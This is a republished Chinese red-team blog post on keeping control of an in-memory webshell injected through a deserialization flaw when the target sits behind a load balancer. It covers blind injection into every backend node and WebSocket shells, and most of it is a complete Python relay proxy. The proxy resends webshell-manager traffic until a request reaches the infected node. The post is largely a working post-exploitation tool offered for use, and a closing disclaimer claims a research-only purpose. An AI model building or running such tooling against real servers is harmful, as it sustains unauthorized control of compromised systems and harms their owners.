文章总结： 本文探讨了在负载均衡环境下成功连接和利用内存马的进阶技巧。核心问题在于，当流量被分发到多个后端服务器时，直接连接可能会因访问未被感染的节点而失败。文章分析了盲打全量注入和利用WebSocket长连接等方法，并重点介绍了一种通过Python搭建中转代理服务器的解决方案。该代理会自动重试请求，直到成功命中被感染的节点并获得200响应，从而有效解决了连接难题。 综合评分： 85 文章分类： 渗透测试,红队,WEB安全,内网渗透,恶意软件

负载均衡下打内存马的奇淫技巧

原创

ptr ptr

UpRoot

2026年3月21日 13:25 浙江

起

负载均衡下的内存马连接与利用，一直是渗透测试和红队评估中的进阶难点。

当目标系统前端存在Nginx、F5或云厂商的负载均衡器时，流量会被分发到后端多个服务器中。如果你只向其中一台服务器注入了内存马，当你尝试发送控制命令时，负载均衡器可能会将你的请求路由到未被感染的健康节点上，导致命令执行失败。

那目前有最简单暴力的方法时盲打全量注入，也就是批量发包来实现。其本质上时利用负载均衡的轮询或随机分发机制，发送数百上千次数据包，直到后端的每一个节点都被成功植入了内存马。

这种方法好是好，但是你红队评估完成后，客户要求你清理内存马，又开始头疼了。

有人提出用websocket内存马，这也是一种很好的解决方法。其本质上是利用了WebSocket协议在完成握手后，会建立一条持久的TCP长连接。负载均衡器在处理WebSocket时，会保持这条全双工通道的开启。

MemShellParty已经有了这种内存马，但似乎兼容性还有待提高，另一方面，不是所有的服务器都支持websocket协议的，所以这也不是一种通杀的方法。

承

我们来看一个具体的实战场景。

通过反序列化漏洞打入内存马后，通过冰蝎3进行连接。

冰蝎进行连接的时候，会触发两次连接，第一次连接成功命中节点有了回显，第二次连接由于Nginx的轮询机制，导致访问404。

那最后的结果就是连接失败。

不妨将这两个数据包发到重放模块中，具体观察下。

请求一次。

请求二次。

那我们就可以观察到，Nginx轮询两次一循环。

当然这只是针对当前攻防情景，大多数情况下，可能会有十次、甚至数十次。

转

那基于此种现象，我们可以有这样的想法：

做一个中转代理服务器，将webshell管理器流量导入到中转，如果响应200则返回，如果响应非200则由中转代为请求，直到响应200为止。

借助python我们可以搭起来一个简单的中转代理服务器。

import time
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

LISTEN_PORT = 8086# 本地监听端口
TARGET_URL = "http://ip:port/path"# 目标实际的内存马地址
MAX_RETRIES = 100# 最大重试次数
RETRY_DELAY = 0.1# 每次重试间隔(秒)，避免请求过快被 WAF 拦截

class ProxyHTTPRequestHandler(BaseHTTPRequestHandler):
    def handle_proxy_request(self):
        content_length = int(self.headers.get('Content-Length', 0))
        post_data = self.rfile.read(content_length) if content_length > 0elseNone

        req_headers = {key: value for key, value in self.headers.items()}
        if'Host'in req_headers:
            del req_headers['Host']

        print(f"\n[*] 收到来自管理工具的请求，开始向目标盲打路由...")

        for attempt in range(1, MAX_RETRIES + 1):
            try:
                response = requests.request(
                    method=self.command,
                    url=TARGET_URL,
                    headers=req_headers,
                    data=post_data,
                    verify=False,
                    timeout=10,
                    allow_redirects=False
                )

                if response.status_code == 200:
                    print(f"[+] 第 {attempt} 次尝试: 成功命中被感染节点! (Status: 200)")

                    self.send_response(200)
                    for k, v in response.headers.items():
                        if k.lower() notin ['transfer-encoding', 'content-encoding', 'connection']:
                            self.send_header(k, v)
                    self.end_headers()
                    self.wfile.write(response.content)
                    return
                else:
                    print(f"[-] 第 {attempt} 次尝试: 命中健康节点 (Status: {response.status_code})，继续重试...")
                    time.sleep(RETRY_DELAY)

            except requests.exceptions.RequestException as e:
                print(f"[!] 网络请求异常: {e}")
                time.sleep(RETRY_DELAY)

        # 超过最大重试次数仍未命中
        print("[-] 达到最大重试次数，放弃当前请求。")
        self.send_response(502)
        self.end_headers()
        self.wfile.write(b"Bad Gateway: Reached max retries to find the infected node.")

    def do_GET(self):
        self.handle_proxy_request()

    def do_POST(self):
        self.handle_proxy_request()

    def log_message(self, format, *args):
        pass

if __name__ == '__main__':
    server_address = ('127.0.0.1', LISTEN_PORT)
    httpd = HTTPServer(server_address, ProxyHTTPRequestHandler)
    print(f"[*] 本地中转代理已启动: http://127.0.0.1:{LISTEN_PORT}")
    print(f"[*] 请将 Webshell 管理工具的 URL 设置为上述本地地址。")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] 代理已停止。")
        httpd.server_close()

我们将环境配置好：

连接内存马：

可以看到通过这种机制，我们已经可以实现在负载均衡下进行连接内存马了。

合

方法虽然轻量，但足以破局。或许已有师傅看完此文，准备去重构自己的管理工具了。

每个难点都会有解决办法的，站点如此，我想人生也是；都说车灯最多只能照亮50米，但依旧可以走完全程。

我想我把眼前的事情做好，未来，我或许有机会，体验那句，拜水都江堰、问道青城山。

共勉…

参考文章：

1、https://party.mem.mk/ui/docs/middleware/tomcat-websocket#%E7%BB%95%E8%BF%87-nginx-%E6%88%96-cdn-%E9%99%90%E5%88%B6

2、https://mp.weixin.qq.com/s/tpXuZ6Vt6qGLDF6EEIvYPg 3、https://github.com/zema1/suo5

• END –

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：UpRoot ptr ptr《负载均衡下打内存马的奇淫技巧》